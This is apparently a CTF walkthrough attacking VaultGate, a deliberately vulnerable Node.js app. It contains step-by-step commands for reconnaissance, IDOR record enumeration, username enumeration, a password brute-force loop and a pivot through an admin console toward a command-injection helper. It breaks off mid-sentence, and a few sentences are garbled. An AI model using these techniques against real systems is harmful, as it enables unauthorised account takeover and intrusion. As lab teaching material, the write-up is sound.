Hacking VaultGate: Three Paths to One Flag A security researcher published a walkthrough of VaultGate, an open-source deliberately vulnerable Node.js/Express/SQLite web app, demonstrating three independent exploitation paths to recover a hidden CTF flag. The writeup covers reconnaissance with curl and whatweb, robots.txt enumeration, and exploitation of unauthenticated remote code execution, with the app run locally in Docker and attacked from a Kali Linux VM. Target: http://192.168.122.1:3000 — a local Docker deployment of VaultGate on my lab network your target IP will differ . Download VaultGate: it's open-source — grab it and spin up your own copy in one command see Section 8 : https://github.com/todorslavovv/three-paths-ctf https://github.com/todorslavovv/three-paths-ctf Rig: a Kali Linux VM attacking the target across a private network. The app runs in a disposable Docker container. The flag the prize : CTF{vaultgate three paths one flag} — a string hidden on the server. Recovering it is the objective. Stack: Node.js + Express + SQLite, with a chatbot called VaultBot. Every screenshot is the Kali terminal and nothing else — the exact command typed and the response that came back. A note on the setup: I run VaultGate locally in Docker and attack it from a Kali VM on the same private network — the safe way to practise on a deliberately-vulnerable app it has real, unauthenticated RCE; keep it off the public internet . Every screenshot is that local run. If you'd rather host it on a platform like Railway, Section 9 covers exactly what changes a proxy in front, no useful nmap, no reverse shells, a different helper port . The vulnerabilities themselves are the app's own and behave identically either way — so follow the method, not the hostname. Quick reference: A penetration test runs the same loop every engagement: php Recon - Enumeration - Research - Exploitation - Flag VaultGate exposes three independent ways in, plus a bonus fourth. You only need one — I'll show all of them: Recon first. Every finding below narrows the attack surface before a single password is tried. curl -sSI curl with a few flags: -s = silent suppress the progress meter -S = still surface errors paired with -I = headers only. Headers are the metadata the server attaches to every reply — server software, content length, and so on. The command: curl -sSI http://192.168.122.1:3000/ | head -n 20 head -n 20 keeps the output to the first 20 lines. What came back: HTTP/1.1 200 OK X-Powered-By: Express Server: VaultGate/1.2.0 Content-Type: text/html; charset=utf-8 Content-Length: 15236 Date: Sat, 12 Sep 2026 06:44:17 GMT Connection: keep-alive Keep-Alive: timeout=5 Reading it: HTTP/1.1 200 OK — the site is up. Server: VaultGate/1.2.0 — the app names itself and its exact version. That version number is a lead to research see 2.4 . X-Powered-By: Express — the app runs on Express.js, so that's the bug class to research. whatweb whatweb reads both headers and page content and infers the tech stack — a second opinion on the fingerprint from 2.1. Disagreements between the two are worth chasing. whatweb http://192.168.122.1:3000/ What came back color codes stripped : http://192.168.122.1:3000/ 200 OK Country RESERVED ZZ , HTML5, HTTPServer VaultGate/1.2.0 , IP 192.168.122.1 , Script, Title Home — VaultGate , X-Powered-By Express Reading it: everything lines up with 2.1 — HTTPServer VaultGate/1.2.0 , Express, page titled "Home — VaultGate". Country RESERVED just reflects the private lab IP. No contradictions, so we move on. robots.txt robots.txt tells search engines which paths to skip — admin panels, APIs, and so on. For an attacker that's a curated list of the interesting places, retrieved with one quiet request. curl -s http://192.168.122.1:3000/robots.txt User-agent: Disallow: /admin Disallow: /api Disallow: /internal Disallow: /terminal Four leads, and every one turns out real: /admin — the admin panel users list, logs, console link . Locked, but confirmed to exist → Path 1. /api — the data API user records + status info → Paths 1 and 2. /terminal — the maintenance console a restricted shell → Path 1's pivot. /internal — a hint that a hidden internal service exists → the loopback helper in Path 1. /api/status Health endpoints like /status often over-share — including exact dependency versions. An exact version turns bug-hunting into a catalog lookup CVEs . curl -s http://192.168.122.1:3000/api/status | python3 -m json.tool The response is JSON; python3 -m json.tool just pretty-prints it. { "service": "VaultGate", "status": "ok", "version": "1.2.0", "runtime": "node v20.20.2", "environment": "production", "dependencies": { "express": "^4.21.0", "express-session": "^1.18.0", "better-sqlite3": "^11.3.0", "bcryptjs": "^2.4.3", "node-serialize": "0.0.4" }, "notes": "Client theme preferences are restored from the vg prefs cookie via the preferences engine." } The single most valuable recon finding of the project: "node-serialize": "0.0.4" — this exact version carries "notes" points straight at where it's reachable: the vg prefs cookie, which the server deserialises on every visit — including from users who never logged in. "version": "1.2.0" matches the ffuf robots.txt gave hints; fuzzing checks for anything it left out — throwing thousands of common path names at the server and keeping the ones that respond. ffuf -u http://192.168.122.1:3000/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 20 FUZZ marks the injection point. -w is the wordlist. -mc filters by status code. -t sets threads. Results, grouped by status code: / , /login , /register , /search , /robots.txt /dashboard , /documents , /profile , /logout /assets , /css , /js A 302 isn't a dead end — it's "there's something here, authenticate first." Nothing new surfaced beyond robots.txt , so the map is confirmed. nmap Because the target is a plain host on the network no proxy in front , a port scan is worthwhile. Scope it to the app's port so the scan stays clean and fast. nmap -p 3000 -sC -sV 192.168.122.1 PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework | http-server-header: VaultGate/1.2.0 | http-robots.txt: 4 disallowed entries | /admin /api /internal /terminal | http-title: Home — VaultGate Reading it: nmap confirms Express + VaultGate/1.2.0 and even echoes robots.txt. Note what is not here: there's no sign of the internal diagnostics helper. That service is bound to loopback 127.0.0.1 inside the container, so no external scan will ever see it — which is exactly why Path 1 has to pivot through the console to reach it Section 3.5 . Find the admin's username → confirm it → recover the password from a list → log in → open the maintenance console → find a hidden helper service → use it to read the flag file. Six links in a chain — which is what real engagements look like; there's rarely a single button. GET /api/users/:id IDOR Insecure Direct Object Reference : the server serves records by ID /api/users/1 , /api/users/2 … without checking who's asking. So an unauthenticated request can walk 1 through 5 and read every profile — including the admin's username. php for i in 1 2 3 4 5; do echo "=== /api/users/$i ==="; curl -s http://192.168.122.1:3000/api/users/$i; echo; done Users 1, 2, 3, 5 are regular employees. User 4 is the target: {"id":4,"username":"administrator","displayName":"VaultGate Administrator","email":"admin@vaultgate.local","department":"Administration","role":"admin"} Target username: administrator . The login endpoint leaks state: it returns different errors for "unknown user" versus "known user, wrong password." That confirms administrator exists in two requests, before any brute force: Unknown username administrator + wrong password → Incorrect password the name is valid The commands: curl -s -X POST http://192.168.122.1:3000/login --data-urlencode username=nosuchuser123 --data-urlencode password=x | grep -o "Unknown username" curl -s -X POST http://192.168.122.1:3000/login --data-urlencode username=administrator --data-urlencode password=wrong | grep -o "Incorrect password" -X POST sends form data; --data-urlencode encodes each field; grep -o pulls the one phrase out of the HTML. What came back: Unknown username for the fake account, Incorrect password for the admin. Username confirmed — only the password is left. A hardened app returns one generic error Invalid credentials for both cases see the fixes section . winter2024 The password is weak enough to sit in the provided 45-word list ctf-wordlist.txt , and there's no lockout. Success is easy to detect: the server returns 401 on every miss and a 302 redirect to /dashboard on the hit. The loop watches for that 302. while read -r p; do c=$ curl -s -o /dev/null -w '%{http code}' -X POST http://192.168.122.1:3000/login --data-urlencode username=administrator --data-urlencode password="$p" ; echo "$p - $c"; "$c" = "302" && echo "FOUND: $p" && break; done < ctf-wordlist.txt What came back tail : php winter2023 - 401 winter2024 - 302 FOUND: winter2024 The password is winter2024 . This works only because the password is weak and nothing throttles guessing — both covered in the fixes. Log in for real and look around. Three checks: 1 login returns 302 → /dashboard and sets a session cookie saved to /tmp/vg.jar and replayed with -b on later requests ; 2 the dashboard contains a Maintenance Access link; 3 /terminal returns 200 — the admin-only maintenance console. php curl -s -c /tmp/vg.jar -o /dev/null -w 'login:%{http code} - %{redirect url}\n' -X POST http://192.168.122.1:3000/login --data-urlencode username=administrator --data-urlencode password=winter2024 curl -s -b /tmp/vg.jar http://192.168.122.1:3000/dashboard | grep -o -E 'Maintenance Access|Welcome' | sort | uniq -c curl -s -o /dev/null -w 'terminal:%{http code}\n' -b /tmp/vg.jar http://192.168.122.1:3000/terminal -c writes cookies to the jar; -b sends them back; -w prints just the status and redirect target. php login:302 - http://192.168.122.1:3000/dashboard 1 Maintenance Access 2 Welcome terminal:200 Authenticated as admin, with the console reachable. ss -lntp → port 8080 The console POST /api/terminal {"command":"..."} is a simulated, sandboxed shell, not the real host: asking it to read the flag file returns Permission denied by design, forcing a pivot. But it does run network commands. ss -lntp lists listening sockets, and it reveals a second service bound to loopback 127.0.0.1 — reachable from the host itself, not the network, but reachable from the console : LISTEN 0.0.0.0:3000 <- the web app public LISTEN 127.0.0.1:8080 <- the diagnostics helper loopback only That second line is the prize. The diagnostics service is bound to 127.0.0.1 , so it never showed up in the nmap scan Section 2.6 — the console is the only way to reach it. The console's curl can talk to that helper, and only that helper. That's the tunnel. curl -s -b /tmp/vg.jar -X POST http://192.168.122.1:3000/api/terminal -H 'Content-Type: application/json' --data '{"command":"ss -lntp"}' | python3 -m json.tool The helper exposes /api/diag?host= , which pings whatever address you pass. It builds the shell command by string concatenation roughly ping ...